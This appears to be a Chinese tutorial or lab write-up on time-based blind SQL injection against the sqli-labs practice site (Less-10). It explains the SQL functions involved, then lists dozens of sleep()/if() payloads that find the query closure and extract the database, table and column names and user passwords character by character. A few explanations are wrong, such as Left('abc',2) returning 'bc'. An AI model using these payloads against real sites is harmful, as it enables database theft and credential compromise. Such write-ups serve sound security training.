时间型盲注条件极为苛刻,不管输入什么,WEB页面回显相同的结果,此时我们无法通过报错型注入以及布尔型盲注来爆数据,此时数据在交互完成以后目标网站没有正确和错误的页面回显,这种情况我们可以通过时间函数来判断数据在没有目标数据中得到执行。
盲注,其注入就是通过函数的执行结果来猜测数据
其功能为返回字符串的长度
比如length(abc)返回3
其功能为截取字符串
substr(abc,1,1):含义为从abc的第一位开始取数,步长为1,结果显示a
其功能为取出字符串的一部分值
Mid(abc,1,1):从abc的第一位开始取数,步长为1,与substr()函数用法一致,结果显示为a
其功能为取出字符串左边的几个数据
Left(abc,1):返回a
Left(abc,2):返回bc
其功能为返回一个字符的ASCII码值
ASCII(s):返回115
其功能为返回该数的十六进制形式
Sleep(1):表示过1秒后响应,回包1秒之后,页面卡了1秒。
if(1=1,3,4)返回3 //true 执行第一个
if(1=2,3,4)返回4 //false 执行第二个
在less-10中我们就要用到时间型盲注
此时页面无回显状态,正常的求闭合方式行不通,此时应该用if()与sleep()配合起来,看页面的状态来判断其闭合方式
关键SQL注入语句:
/?id=1’ and if(1=2,1,sleep(10)) --+
/?id=1" and if(1=2,1,sleep(10)) --+
/?id=1) and if(1=2,1,sleep(10)) --+ //如果闭合正确的话,页面将在10s后响应
通过时间的判断,在测其闭合为""时页面卡顿10s,则其闭合方式为""双引号闭合
关键SQL注入语句:
/?id=1" and if(length(database())>10,sleep(5),1) --+
/?id=1" and if(length(database())>5,sleep(5),1) --+
/?id=1" and if(length(database())>7,sleep(5),1) --+
/?id=1 " and if(length(database())>8,sleep(5),1) --+
可得出数据库名长度为8
关键SQL注入语句:
/?id=1" and if((ord(mid(database(),1,1))>90),sleep(5),1) --+ //判断首字母大小写
/?id=1" and if((ord(mid(database(),1,1))>110),sleep(5),1) --+
/?id=1" and if((ord(mid(database(),1,1))>120),sleep(5),1) --+
/?id=1" and if((ord(mid(database(),1,1))>115),sleep(5),1) --+
/?id=1" and if((ord(mid(database(),1,1))>114),sleep(5),1) --+
可得出其ASCII编码十进制数为115,查表可得其表示字符为"s"
之后的7个库名字母都用同样的方法来查,最终可得其数据库名为security
在猜其表名时,应该借助程序来查询,因为人为查询过程及其繁琐,且一个数据库中有多张表。
其原理同查询库名一样,我们在此可以查询第一个表名长度和首字母作为范例
已知数据库为security时
关键SQL注入语句:
/?id=1" and if(length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>10,sleep(5),1) --+
/?id=1" and if(length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>5,sleep(5),1) --+
/?id=1" and if(length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>7,sleep(5),1) --+
/?id=1" and if(length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>8,sleep(5),1) --+
limit 0,1限制控制表的输出,limit 1,1表示输出第二张表
可得第一张表的长度为8
关键SQL注入语句:
/?id=1" and if((ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>90),sleep(5),1) --+ //判断其首字母的大小写
/?id=1" and if((ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>100),sleep(5),1) --+
/?id=1" and if((ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>110),sleep(5),1) --+
/?id=1" and if((ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>105),sleep(5),1) --+
/?id=1" and if((ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>101),sleep(5),1) --+
可得其第一张表的首字母ASCII编码十进制数为101,查表可得其表示字母为"e"
之后的5个字母通过控制mid()函数的参数可以查出结果,可得第一张表名为"emails"
之后的几张表用通过修改limit 0,1控制输出可以查出结果,可得第二张表名为"referers",第三张表名为"uagents",第四张表名为"users".
与表一样,一张表里可能有多个列,人为查询相当繁琐,建议通过程序来执行查询
在此处,只以第二列为例
注: 此时第二列应修改limit限制,应为limit 1,1
关键SQL注入语句:
/?id=1" and if(length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1))>10,sleep(5),1) --+
/?id=1" and if(length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1))>5,sleep(5),1) --+
/?id=1" and if(length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1))>7,sleep(5),1) --+
/?id=1" and if(length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1))>8,sleep(5),1) --+
可得users表中,第二列列名长度为8
关键SQL注入语句:
/?id=1" and if((ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>90),sleep(5),1) --+ //判断其首字母的大小写
/?id=1" and if((ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>100),sleep(5),1) --+
/?id=1" and if((ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>110),sleep(5),1) --+
/?id=1" and if((ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>120),sleep(5),1) --+
/?id=1" and if((ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>117),sleep(5),1) --+
/?id=1" and if((ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>116),sleep(5),1) --+
可得users表中第二列首字母ASCII十进制数为117,查表可得其表示字母为"u"
剩下7个字母,通过修改mid()函数参数来实现,最终可得出第二列列名为"username"
之后的几列用通过修改limit 0,1控制输出可以查出结果,可得第一列列名为"id",第三列列名为"password"
已知库名为security,表名为users,列名为username,查数据
关键SQL注入语句:
/?id=1" and if(length((select username from security.users limit 0,1))>10,sleep(5),1) --+
/?id=1" and if(length((select username from security.users limit 0,1))>5,sleep(5),1) --+
/?id=1" and if(length((select username from security.users limit 0,1))>3,sleep(5),1) --+
/?id=1" and if(length((select username from security.users limit 0,1))>4,sleep(5),1) --+
可得其username列中第一行数据长度为4
关键SQL注入语句:
/?id=1" and if((ord(mid((select username from security.users limit 0,1),1,1))>90),sleep(5),1) --+ //判断其首字母的大小写
/?id=1" and if((ord(mid((select username from security.users limit 0,1),1,1))>65),sleep(5),1) --+
/?id=1" and if((ord(mid((select username from security.users limit 0,1),1,1))>70),sleep(5),1) --+
/?id=1" and if((ord(mid((select username from security.users limit 0,1),1,1))>67),sleep(5),1) --+
/?id=1" and if((ord(mid((select username from security.users limit 0,1),1,1))>68),sleep(5),1) --+
可得其username列第一行数据首字母ASCII编码十进制数为68,查表可得其表示字母为"D"
通过mid()函数参数控制可得,该行数据为Dumb
通过limit 0,1控制可得,其他行的数据
关键SQL注入语句:
/?id=1" and if(length((select password from security.users limit 0,1))>10,sleep(5),1) --+
/?id=1" and if(length((select password from security.users limit 0,1))>5,sleep(5),1) --+
/?id=1" and if(length((select password from security.users limit 0,1))>3,sleep(5),1) --+
/?id=1" and if(length((select password from security.users limit 0,1))>4,sleep(5),1) --+
可得其password列中第一行数据长度为4
关键SQL注入语句:
/?id=1" and if((ord(mid((select password from security.users limit 0,1),1,1))>90),sleep(5),1) --+ //判断其首字母的大小写
/?id=1" and if((ord(mid((select password from security.users limit 0,1),1,1))>65),sleep(5),1) --+
/?id=1" and if((ord(mid((select password from security.users limit 0,1),1,1))>70),sleep(5),1) --+
/?id=1" and if((ord(mid((select password from security.users limit 0,1),1,1))>67),sleep(5),1) --+
/?id=1" and if((ord(mid((select password from security.users limit 0,1),1,1))>68),sleep(5),1) --+
可得其password列第一行数据首字母ASCII编码十进制数为68,查表可得其表示字母为"D"
通过mid()函数参数控制可得,该行数据为Dumb
通过limit 0,1控制可得,其他行的数据
由此可以的出第一个用户的数据,用户名username:Dumb 密码:password:Dumb
用同样的方法可求出其他用户名和密码